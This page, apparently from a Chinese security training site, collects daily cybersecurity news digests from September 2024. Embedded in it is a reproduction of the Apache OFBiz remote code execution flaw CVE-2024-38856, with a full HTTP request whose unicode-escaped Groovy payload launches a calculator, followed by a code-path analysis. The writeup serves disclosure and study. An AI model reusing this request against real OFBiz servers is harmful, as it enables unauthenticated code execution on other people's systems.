https://www.bleepingcomputer.com/news/security/wordpressorg-to-require-2fa-for-plugin-developers-by-october/ 该决定是WordPress插件审查团队制定的最新规则,旨在降低未经授权访问的风险,减少供应链攻击。
8、OpenAI o1发布:进一步增强了生成式AI安全合规
https://www.secrss.com/articles/70210 为了确保合规和安全,OpenAI一直使用两类公开武器:一是使用模型卡实施透明化,二是使用合规准备框架(Preparedness Framework)作为跟踪、评估和防范强大模型带来灾难性风险的流程SOP。
9、爱尔兰数据保护监管机构将调查谷歌人工智能
https://www.anquanke.com/post/id/300059 爱尔兰数据保护机构已对 Google 的 AI 模型及其是否符合 GDPR 展开调查。爱尔兰数据保护委员会 (DPC) An Coimisiún um Chosaint Sonraí 是欧盟对 Google 的主要隐私监管机构。DPC 已根据 2018 年《数据保护法》第 110 条对 Google Ireland 展开跨境法定调查。
10、Docker Desktop 中发现两个严重的 RCE 漏洞
https://securityonline.info/cve-2024-8695-cve-2024-8696-two-critical-rce-flaws-discovered-in-docker-desktop/ Docker Desktop(一种流行的容器化应用程序开发工具)中发现了两个严重的远程代码执行 (RCE) 漏洞,编号为 CVE-2024-8695 和 CVE-2024-8696。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年09月13日
1、西门子披露用户管理组件中的安全漏洞
https://securityonline.info/siemens-issues-critical-security-advisory-for-user-management-component-umc-cve-2024-33698 西门子披露了其用户管理组件(UMC)中的一个堆缓冲区溢出漏洞,该漏洞被标识为CVE-2024-33698,CVSS评分为9.3,可能允许未经身份验证的远程攻击者在受影响的系统上执行任意代码。UMC是西门子多个产品的重要组成部分,包括SIMATIC PCS neo分布式控制系统、SINEC NM网络管理系统和全集成自动化门户(TIA Portal)。这些系统广
2、FreeBSD披露一个影响多版本操作系统的安全漏洞
https://securityonline.info/freebsd-issues-urgent-security-advisory-for-cve-2024-43102-cvss-10 FreeBSD项目发布了一份安全公告,警告其操作系统的多个版本中存在一个安全漏洞(CVE-2024-43102)。该漏洞的CVSS评分为10分,可能允许攻击者编写恶意代码触发内核崩溃,导致系统停止;或者执行任意代码,绕过Capsicum沙箱等安全措施,导致系统被完全攻陷。该安全漏洞可能是迄今为止在FreeBSD中发现的最危险的漏洞之一。建议使用该系统的用户升级到FreeBSD的最新安全版本,尽快应用Fre
3、GitLab发布安全更新修复多个漏洞
https://cybersecuritynews.com/gitlab-critical-security-update/ GitLab发布一个安全更新,修复了多个漏洞,其中包括多个关键漏洞:CVE-2024-6678、CVE-2024-8640、CVE-2024-8635和CVE-2024-8124。此外,GitLab还修复了公告中提到的其他严重性较低的安全漏洞。利用这些漏洞可能导致未经授权的访问、权限提升、敏感数据的潜在泄露。攻击者可能控制关键基础设施组件、操纵代码或窃取私人信息。GitLab建议所有受影响的用户尽快升级到最新的修复版本(17.3.2、17.2.5和17.1.7),以降
4、WordPress插件LearnPress存在SQL注入漏洞
https://securityonline.info/cve-2024-8522-cvss-10-learnpress-sqli-flaw-leaves-90k-wordpress-sites-at-risk/ LearnPress是一个用于创建和管理在线课程的流行WordPress插件,其中存在一个SQL注入漏洞。该漏洞被标识为CVE-2024-8522,CVSS评分为10。该漏洞可能允许未经身份验证的攻击者执行恶意SQL查询,从而访问存储在受影响WordPress数据库中的敏感信息。攻击者可以利用此漏洞窃取用户数据、修改内容,甚至完全控制易受攻击的网站。LearnPress的开发人员已
5、Palo Alto 修复其产品中的多个安全漏洞
https://securityonline.info/pan-os-vulnerabilities-command-injection-cve-2024-8686-and-globalprotect-exposure-cve-2024-8687/ Palo Alto Networks最近发布了一份安全公告,修复在其产品中发现的多个安全漏洞。这些漏洞如果被利用,可能会导致未经授权的访问、数据泄露和服务中断。CVE-2024-8686是PAN-OS中的命令注入漏洞(CVSS评分为8.6),可能使经过身份验证的攻击者绕过系统限制并以root权限在防火墙上执行任意命令,攻击者可能由此完全控制受影响
6、新型安卓恶意软件"Ajina.Banker"通过TG窃取银行数据并绕过2FA
https://thehackernews.com/2024/09/new-android-malware-ajinabanker-steals.html 自 2023年 11 月以来,中亚地区的银行客户就成为代号为Ajina.Banker的新型 Android 恶意软件的攻击目标,其目的是收集财务信息并拦截双因素身份验证 (2FA) 消息。2024 年 5 月,Group-IB 分析师发现针对中亚地区银行客户的可疑活动。威胁行为者一直在传播恶意的 Android 恶意软件,旨在窃取用户的个人和银行信息,并可能拦截 2FA 消息。
7、新型Vo1d恶意软件感染了全球130万台Android 电视盒
https://thehackernews.com/2024/09/beware-new-vo1d-malware-infects-13.html 来自 197 个国家的用户拥有近 130 万台运行旧版操作系统的 Android 电视盒,它们都感染了名为 Vo1d(又名 Void)的新恶意软件。俄罗斯防病毒供应商 Doctor Web在今天发布的一份报告中表示: “这是一个后门,它将组件放在系统存储区域,在攻击者的指挥下,能够秘密下载并安装第三方软件。”
8、暴露的 Selenium Grid 服务成为挖矿和代理劫持的目标
https://thehackernews.com/2024/09/exposed-selenium-grid-servers-targeted.html 不良行为者将暴露在互联网上的 Selenium Grid 实例作为非法加密货币挖掘和https://thehackernews.com/2023/08/new-labrat-campaign-exploits-gitlab.html活动的目标。
9、微软修复了自2018年以来被利用的Smart App Control零日漏洞
https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-windows-smart-app-control-zero-day-exploited-since-2018/ 微软修复了 Windows 智能应用控制和 SmartScreen 漏洞,该漏洞至少自 2018 年以来就被利用作为零日攻击。在易受攻击的系统上,威胁行为者滥用该漏洞(目前被追踪为 CVE-2024-38217)来绕过智能应用程序控制和 Web 标记 (MotW) 安全功能,从而在没有警告的情况下启动不受信任或潜在危险的二进制文件和应用程序。
10、 黑客声称窃取 440GB 文件后,Fortinet 确认数据泄露
https://www.bleepingcomputer.com/news/security/fortinet-confirms-data-breach-after-hacker-claims-to-steal-440gb-of-files/ 网络安全巨头 Fortinet 证实,其遭受了数据泄露,一名威胁行为者声称从该公司的 Microsoft Sharepoint 服务器窃取了 440GB 的文件。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
Apache OFBiz远程代码执行漏洞(CVE-2024-38856)
漏洞简介
Apache OFBiz 是一个开源的企业资源规划系统,提供了一整套企业管理解决方案,涵盖了许多领域,包括财务管理、供应链管理、客户关系管理、人力资源管理和电子商务等。Apache OFBiz 基于 Java 开发,采用灵活的架构和模块化设计,使其可以根据企业的需求进行定制和扩展,它具有强大的功能和可扩展性,适用于中小型企业和大型企业,帮助他们提高效率,降低成本,并实现业务流程的自动化和优化。Apache OFBiz 在处理 view 视图渲染的时候存在逻辑缺陷,未经身份验证的攻击者可通过构造特殊 URL 来覆盖最终的渲染视图,从而执行任意代码。
影响版本
Apache OFBiz <\= 18.12.14
漏洞复现
https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14下载代码链接 https://codeload.github.com/apache/ofbiz-framework/zip/refs/tags/release18.12.14
下载后利用 idea 打开并编译运行
构造发送数据包
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 272
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
成功执行打开计算器的命令
\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b 是 throw new Exception('calc'.execute().te
漏洞分析
applications\accounting\webapp\accounting\WEB-INF\web.xml
org.apache.ofbiz.webapp.control.ControlServlet 会处理所有以/control/ 开头的路由
org.apache.ofbiz.webapp.control.ControlServlet#doPost
doPost 方法转换为 doGet 请求
org.apache.ofbiz.webapp.control.ControlServlet#doGet
利用 RequestHandler 来处理请求
org.apache.ofbiz.webapp.control.RequestHandler#doRequest
在 RequestHandler#doRequest 中依次获取路由相关参数
org.apache.ofbiz.base.util.UtilHttp#getApplicationName
org.apache.ofbiz.webapp.control.RequestHandler#getRequestUri
org.apache.ofbiz.webapp.control.RequestHandler#getOverrideViewUri
依次获取到与路由相关的参数后,调用 resolveURI 返回路由对应的配置信息
org.apache.ofbiz.webapp.control.RequestHandler#resolveURI
这里对应的是
framework/webtools/webapp/webtools/WEB-INF/controller.xml
对应的 /webtools/control/main/ 不需要认证,所以可以继续向下执行
通过success获取到返回值的数据赋值给successResponse,然后传递给nextRequestResponse
else if ("view".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);
// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
}
在overrideViewUri 非空且 eventReturn 为 null 或 "success" 的情况下,将 viewName 设置为 overrideViewUri 。否则将 viewName 设置为 nextRequestResponse.value 。
这里请求的路径为 /main/ProgramExport 造成 view 的解析冲突,会进入到 ProgramExport 这个业务中 ,renderView 方法会解析与ProgramExport对应的请求
framework/webtools/widget/EntityScreens.xml
framework/webtools/groovyScripts/entity/ProgramExport.groovy
网络安全日报 2024年09月12日
1、RansomHub组织滥用TDSSKiller安全工具进行攻击
https://www.threatdown.com/blog/new-ransomhub-attack-uses-tdskiller-and-lazagne-disables-edr/ 卡巴斯基创建了一种名为TDSSKiller的工具,该工具可以扫描系统中是否存在rootkit和bootkit。研究人员最近发现RansomHub勒索组织滥用TDSSKiller工具,通过命令行脚本或批处理文件与内核级服务进行交互,从而禁用运行在机器上的Malwarebytes反恶意软件服务(MBAMService)。然后,RansomHub组织部署LaZagne凭证收集工具,从各种应用程序数据库中提取登录信
2、Ivanti修复多个产品中的安全漏洞
https://www.bleepingcomputer.com/news/security/ivanti-fixes-maximum-severity-rce-bug-in-endpoint-management-software/ Ivanti修复了其Endpoint Management软件(EPM)中的安全漏洞,该安全漏洞(CVE-2024-29847)是由代理门户中不受信任数据的反序列化引起,可让未经身份验证的攻击者在核心服务器上获得远程代码执行权限。此外,Ivanti还修复了Ivanti EPM、Workspace Control(IWC)和Cloud Service Appli
3、MindsDB修复CVE-2024-24759安全漏洞
https://securityonline.info/mindsdb-fixes-critical-cve-2024-24759-dns-rebinding-attack-bypasses-security-protections MindsDB是一个用于构建AI应用程序的开源平台,该平台修复了一个安全漏洞,该漏洞可能允许攻击者绕过安全措施并发起各种攻击。该漏洞被标识为CVE-2024-24759,CVSS评分为9.3,涉及利用DNS重绑定技术绕过服务器端的请求伪造(SSRF)保护。该漏洞允许攻击者绕过SSRF保护,可能使攻击者访问敏感数据、执行任意代码,甚至发起拒绝服务攻击。MindsD
4、图克斯伯里市议会遭受网络攻击
https://www.bbc.com/news/articles/cg4y7gxxnddo 图克斯伯里市议会遭受网络攻击,其系统仍处于关闭状态。议会首席执行官表示,他们认为此次事件已得到控制,并且没有证据表明数据遭到泄露。该市居民被告知在部分服务受影响期间不要向议会发送电子邮件。该议会已暂停工作面试,并表示在处理事件期间无法处理正式投诉或信息请求。议会首席执行官称,在安全的情况下,该议会将采取基于风险的方式重新上线服务,并将在此过程中进行密切监控。
5、英特尔警告20 多个处理器漏洞,建议用户更新固件
https://www.securityweek.com/intel-informs-customers-about-over-a-dozen-processor-vulnerabilities/ 英特尔周二发布安全公告,告知客户处理器和其他产品中发现的 20 多个漏洞。该芯片巨头发布了四份新公告,其中一份公告涉及 11 个漏洞,这些漏洞影响部分服务器、工作站、移动和嵌入式处理器的 UEFI 固件,包括 Atom、Xeon、Pentium、Celeron 和 Core 系列产品。 超过半数的安全漏洞被评为“高危”。这些漏洞可被用来提升本地权限,有些甚至可导致 DoS 攻击或信息泄露。
6、微软在 SymCrypt 库中添加了对后量子算法的支持
https://www.securityweek.com/microsoft-adds-support-for-post-quantum-algorithms-in-symcrypt-library/ 微软已经开始在其主要加密库 SymCrypt 中引入对后量子算法的支持。
7、DDoS 攻击次数翻倍,政府部门成为主要攻击目标
https://www.infosecurity-magazine.com/news/ddos-attacks-double-govt-targeted StormWall 的报告显示,DDoS 攻击数量翻了一番,政府部门成为最受攻击的部门。2024 年上半年全球 DDoS 事件数量与 2023 年同期相比增加了 102%。
8、Quad7僵尸网络瞄准更多SOHO和VPN路由器、媒体服务器
https://www.bleepingcomputer.com/news/security/quad7-botnet-targets-more-soho-and-vpn-routers-media-servers/ 除了之前报道的 TP-Link 和 ASUS 路由器之外,Quad7 僵尸网络还在通过使用针对 Zyxel VPN 设备、Ruckus 无线路由器和 Axentra 媒体服务器的定制恶意软件来攻击其他 SOHO 设备,从而扩大其影响范围。
9、CosmicBeetle 利用旧漏洞攻击全球中小企业
https://cybersecuritynews.com/cosmicbeetle-exploiting-old-vulnerabilities-to-attack-smbs-all-over-the-world/ 黑客主要瞄准中小型企业,因为这些企业的安全措施较弱且缺乏网络安全意识,因此更容易受到攻击。ESET 的网络安全研究人员最近发现,CosmicBeetle 一直在积极利用旧漏洞攻击全球的中小型企业。
10、微软在 Office 2024中禁用默认ActiveX 控件以提高安全性
https://www.anquanke.com/post/id/299983 自 2018 年以来,Microsoft 一直在与为不良行为者提供切入点的传统 Office 功能作斗争。从 10 月开始,Microsoft 将在 Office 套件中默认禁用 ActiveX 控件,从 Office 2024 的发布开始。逐步淘汰软件框架可能与过去被利用的许多安全漏洞有关。“从新的 Office 2024 开始,ActiveX 对象的默认配置设置将从’在启用限制最少的所有控件之前提示我’更改为’禁用所有控件而不通知’,”9 月 6 日的 Microsoft 365 消息中心的条目中写道。“此更
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年09月11日
1、IBM修复webMethods集成中的多个安全漏洞
https://securityonline.info/cve-2024-45076-cvss-9-9-critical-flaw-in-ibm-webmethods-integration-demand-immediate-action IBM发布了一份关于其webMethods Integration Server的安全公告,披露了多个漏洞,这些漏洞可能允许经过身份验证的用户执行任意命令、提升权限和访问敏感文件,受影响的软件版本为10.15。这些漏洞分别是CVE-2024-45076(CVSS 9.9)、CVE-2024-45075(CVSS 8.8)、CVE-2024-45074(CV
2、Red Hat发布针对Pulpcore身份验证绕过漏洞的安全补丁
https://securityonline.info/red-hat-issues-critical-patch-for-pulpcore-authentication-bypass-flaw-cve-2024-7923 Red Hat发布了一个安全公告,警告Pulpcore中存在一个身份验证绕过漏洞(CVE-2024-7923)。Pulpcore是Red Hat Satellite部署中使用的内容管理系统。该漏洞的CVSS评分为9.8,可能允许未经授权的用户获得管理员访问权限,进而导致系统完全被攻陷。该漏洞影响所有使用Pulpcore 3.0或更高版本的Red Hat Satellite
3、支付网关供应商Slim CD披露一起数据泄露事件
https://www.bleepingcomputer.com/news/security/payment-gateway-data-breach-affects-17-million-credit-card-owners/ 支付网关供应商Slim CD披露了一起数据泄露事件,近170万人的信用卡和个人数据遭到泄露。Slim CD是一家提供支付处理解决方案的公司,帮助企业通过基于网络的终端、移动或桌面应用程序进行支付。该公司今年6月15日首次发现其系统中的可疑活动。在调查过程中,公司发现攻击者早在2023年8月17日就进入其网络。Slim CD表示,调查发现未经授权的系统访问发生在2023
4、Akira勒索组织利用SonicWall的漏洞进行攻击活动
https://arcticwolf.com/resources/blog/arctic-wolf-observes-akira-ransomware-campaign-targeting-sonicwall-sslvpn-accounts/ 近期,SonicWall披露了SonicOS中的一个安全漏洞CVE-2024-40766,该漏洞影响了一些SonicWall防火墙设备,并会影响防火墙的SSLVPN功能。研究人员发现,Akira勒索组织通过入侵SonicWall设备上的SSLVPN用户账号进行勒索软件攻击。在发现的每起案例中,被盗用的账号都是设备本身的本地账号,并且这些账号均未开启多因
5、世界首个有法律约束力的AI公约出炉,欧美英已签署
https://www.secrss.com/articles/69984 《AI公约》共8章36个条款,为AI规定了一系列原则,包括保护隐私和个人数据、平等和非歧视、不损害人的尊严和自主……公约要求签署国对人AI产生的任何有害和歧视性结果负责,并要求AI侵权的受害者拥有法律追索权。
6、新加坡提出立法禁止选举中使用Deepfake
https://www.secrss.com/articles/70083 9月9日,新加坡数字发展和信息部(MDDI)提出了一项新立法,旨在遏制在选举期间使用深度伪造和其他数字操纵的内容。此前,民众担忧人工智能被滥用来传播错误信息。
7、62款知名App完成个人信息收集使用合规整改
https://www.secrss.com/articles/70062 为规范App收集使用个人信息行为,保护个人信息权益,推动形成全社会共同维护个人信息安全的良好环境,中国网络空间安全协会组织指导网上购物、地图导航、浏览器、新闻资讯、在线影音、电子图书、拍摄美化、云盘、短视频、演出票务共10类62款App运营方,对照《中华人民共和国网络安全法》《中华人民共和国个人信息保护法》《常见类型移动互联网应用程序必要个人信息范围规定》等法律法规,重点针对超范围收集个人信息、过度调用敏感权限、权限设置和账号注销不便等个人信息收集使用问题完成了合规整改优化。
8、微信安卓版存在高危漏洞可能导致远程代码执行
https://www.secrss.com/articles/70042 近日,网络安全公司Cisco Talos披露了腾讯微信(WeChat)应用程序中存在的一个高危安全漏洞。该漏洞允许攻击者通过微信发送的恶意链接执行远程代码,从而控制用户的设备。
9、全国网安标委发布《人工智能安全治理框架》1.0版
https://www.secrss.com/articles/70005 9月9日,在2024年国家网络安全宣传周主论坛上,全国网络安全标准化技术委员会(以下简称“网安标委”)发布《人工智能安全治理框架》1.0版。
10、微软发布Windows 更新修复被利用的零日漏洞
https://www.tenable.com/blog/microsofts-september-2024-patch-tuesday-addresses-79-cves-cve-2024-43491 CVE-2024-43491是 Microsoft Windows 更新中的一个 RCE 漏洞,影响 Windows 10 版本 1507(Windows 10 Enterprise 2015 LTSB 和 Windows 10 IoT Enterprise 2015 LTSB)上的可选组件。该漏洞的 CVSSv3 评分为 9.8,最高严重程度为严重,Microsoft 已将其标记为在野利用
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

